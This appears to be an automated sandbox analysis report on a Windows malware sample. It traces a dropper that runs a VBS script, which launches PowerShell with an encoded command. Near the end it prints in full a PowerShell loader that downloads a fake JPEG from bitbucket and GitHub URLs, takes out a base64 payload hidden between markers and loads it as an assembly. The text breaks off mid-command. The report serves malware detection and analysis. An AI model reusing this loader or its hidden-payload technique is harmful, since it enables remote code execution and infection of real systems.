00000008.00000002.2338162714.00000194382A5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723
Source: powershell.exe, 00000008.00000002.2340710949.000001943A328000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.prod-east.frontend.public.atl-paas.net
Source: powershell.exe, 00000008.00000002.2340710949.000001943A328000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net
Source: powershell.exe, 00000008.00000002.2340710949.000001943A328000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-website

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725

Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.48:443 -> 192.168.2.6:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 16.182.70.97:443 -> 192.168.2.6:49760 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Reads the System eventlog

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 1776, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 5664, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Network Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{093FF999-1EA0-4079-9525-9614C3504B74}			Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}			Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gc#Z#Bm#GY#ZgBm#GY#ZgBm#GY#LwBk#GQ#Z#Bk#GQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#Gk#bQBn#F8#d#Bl#HM#d##u#Go#c#Bn#D8#MQ#x#Dg#MQ#x#Dc#Mw#1#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#HI#YQB3#C4#ZwBp#HQ#a#B1#GI#dQBz#GU#cgBj#G8#bgB0#GU#bgB0#C4#YwBv#G0#LwBz#GE#bgB0#G8#bQBh#Gw#bw#v#GE#dQBk#Gk#d##v#G0#YQBp#G4#LwBp#G0#ZwBf#HQ#ZQBz#HQ#LgBq#H##Zw#/#DE#N##0#DQ#MQ#3#DI#Mw#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##9#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I##k#Gw#aQBu#Gs#cw#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##LQBu#GU#I##k#G4#dQBs#Gw#KQ#g#Hs#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBU#GU#e#B0#C4#RQBu#GM#bwBk#Gk#bgBn#F0#Og#6#FU#V#BG#Dg#LgBH#GU#d#BT#HQ#cgBp#G4#Zw#o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#C##J#Bl#G4#Z#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#RQBO#EQ#Pg#+#Cc#Ow#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#KQ#7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bl#G4#Z#BG#Gw#YQBn#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#C0#ZwBl#C##M##g#C0#YQBu#GQ#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#ZwB0#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ck#I#B7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##Kw#9#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gc#Z#Bm#GY#ZgBm#GY#ZgBm#GY#LwBk#GQ#Z#Bk#GQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#Gk#bQBn#F8#d#Bl#HM#d##u#Go#c#Bn#D8#MQ#x#Dg#MQ#x#Dc#Mw#1#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#HI#YQB3#C4#ZwBp#HQ#a#B1#GI#dQBz#GU#cgBj#G8#bgB0#GU#bgB0#C4#YwBv#G0#LwBz#GE#bgB0#G8#bQBh#Gw#bw#v#GE#dQBk#Gk#d##v#G0#YQBp#G4#LwBp#G0#ZwBf#HQ#ZQBz#HQ#LgBq#H##Zw#/#DE#N##0#DQ#MQ#3#DI#Mw#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##9#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I##k#Gw#aQBu#Gs#cw#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##LQBu#GU#I##k#G4#dQBs#Gw#KQ#g#Hs#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBU#GU#e#B0#C4#RQBu#GM#bwBk#Gk#bgBn#F0#Og#6#FU#V#BG#Dg#LgBH#GU#d#BT#HQ#cgBp#G4#Zw#o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#C##J#Bl#G4#Z#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#RQBO#EQ#Pg#+#Cc#Ow#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#KQ#7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bl#G4#Z#BG#Gw#YQBn#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#C0#ZwBl#C##M##g#C0#YQBu#GQ#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#ZwB0#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ck#I#B7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##Kw#9#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C			Jump to behavior

Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Code function: 0_2_00007FF6975A2C54 GetVersion,GetModuleHandleW,GetProcAddress,ExitWindowsEx,CloseHandle,		0_2_00007FF6975A2C54
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Code function: 0_2_00007FF6975A1C0C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,		0_2_00007FF6975A1C0C

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Code function: 0_2_00007FF6975A6CA4	0_2_00007FF6975A6CA4
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Code function: 0_2_00007FF6975A2DB4	0_2_00007FF6975A2DB4
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Code function: 0_2_00007FF6975A5D90	0_2_00007FF6975A5D90
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Code function: 0_2_00007FF6975A1D28	0_2_00007FF6975A1D28
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Code function: 0_2_00007FF6975A66C4	0_2_00007FF6975A66C4
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Code function: 0_2_00007FF6975A40C4	0_2_00007FF6975A40C4
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Code function: 0_2_00007FF6975A3530	0_2_00007FF6975A3530
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Code function: 0_2_00007FF6975A1C0C	0_2_00007FF6975A1C0C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_028D0F40	9_2_028D0F40

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process token adjusted: Security

Jump to behavior

Source: OTO2wVGgkl.exe

Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, Windows 2000/XP setup, 6976 bytes, 1 file, at 0x2c +A "123.vbs", ID 527, number 1, 1 datablock, 0x1503 compression

Source: OTO2wVGgkl.exe

Static PE information: Resource name: RT_RCDATA type: GLS_BINARY_LSB_FIRST

Source: OTO2wVGgkl.exe	Binary or memory string: OriginalFilename vs OTO2wVGgkl.exe
Source: OTO2wVGgkl.exe, 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs OTO2wVGgkl.exe
Source: OTO2wVGgkl.exe	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs OTO2wVGgkl.exe

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4476
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4476			Jump to behavior

Source: Process Memory Space: powershell.exe PID: 1776, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 5664, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 8.2.powershell.exe.1944a15c978.1.raw.unpack, SimpleZip.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 8.2.powershell.exe.1944a15c978.1.raw.unpack, SimpleZip.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.powershell.exe.1944a15c978.1.raw.unpack, SimpleZip.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.powershell.exe.19439ca0000.0.raw.unpack, SimpleZip.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 8.2.powershell.exe.19439ca0000.0.raw.unpack, SimpleZip.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.powershell.exe.19439ca0000.0.raw.unpack, SimpleZip.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.spre.expl.evad.winEXE@15/13@4/4

Source: C:\Users\user\Desktop\OTO2wVGgkl.exe

Code function: 0_2_00007FF6975A6CA4 GetCurrentDirectoryA,SetCurrentDirectoryA,GetDiskFreeSpaceA,MulDiv,GetVolumeInformationA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,

0_2_00007FF6975A6CA4

Source: C:\Users\user\Desktop\OTO2wVGgkl.exe

Code function: 0_2_00007FF6975A1C0C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,

0_2_00007FF6975A1C0C

Source: C:\Users\user\Desktop\OTO2wVGgkl.exe

0_2_00007FF6975A6CA4

Source: C:\Users\user\Desktop\OTO2wVGgkl.exe

Code function: 0_2_00007FF6975A2DB4 memset,memset,CreateEventA,SetEvent,CreateMutexA,GetLastError,CloseHandle,FindResourceExA,LoadResource,#17,

0_2_00007FF6975A2DB4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6260:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1404:120:WilError_03

Source: C:\Users\user\Desktop\OTO2wVGgkl.exe

File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP

Jump to behavior

Source: C:\Users\user\Desktop\OTO2wVGgkl.exe

Process created: C:\Windows\System32\cmd.exe cmd.exe /c 123.vbs

Source: OTO2wVGgkl.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\cmd.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\OTO2wVGgkl.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: OTO2wVGgkl.exe

Virustotal: Detection: 21%

Source: unknown	Process created: C:\Users\user\Desktop\OTO2wVGgkl.exe "C:\Users\user\Desktop\OTO2wVGgkl.exe"
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c 123.vbs
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\123.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gc#Z#Bm#GY#ZgBm#GY#ZgBm#GY#LwBk#GQ#Z#Bk#GQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#Gk#bQBn#F8#d#Bl#HM#d##u#Go#c#Bn#D8#MQ#x#Dg#MQ#x#Dc#Mw#1#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#HI#YQB3#C4#ZwBp#HQ#a#B1#GI#dQBz#GU#cgBj#G8#bgB0#GU#bgB0#C4#YwBv#G0#LwBz#GE#bgB0#G8#bQBh#Gw#bw#v#GE#dQBk#Gk#d##v#G0#YQBp#G4#LwBp#G0#ZwBf#HQ#ZQBz#HQ#LgBq#H##Zw#/#DE#N##0#DQ#MQ#3#DI#Mw#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##9#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I##k#Gw#aQBu#Gs#cw#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##LQBu#GU#I##k#G4#dQBs#Gw#KQ#g#Hs#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBU#GU#e#B0#C4#RQBu#GM#bwBk#Gk#bgBn#F0#Og#6#FU#V#BG#Dg#LgBH#GU#d#BT#HQ#cgBp#G4#Zw#o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#C##J#Bl#G4#Z#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#RQBO#EQ#Pg#+#Cc#Ow#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#KQ#7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bl#G4#Z#BG#Gw#YQBn#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#C0#ZwBl#C##M##g#C0#YQBu#GQ#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#ZwB0#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ck#I#B7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##Kw#9#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/gdffffffff/ddddd/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = 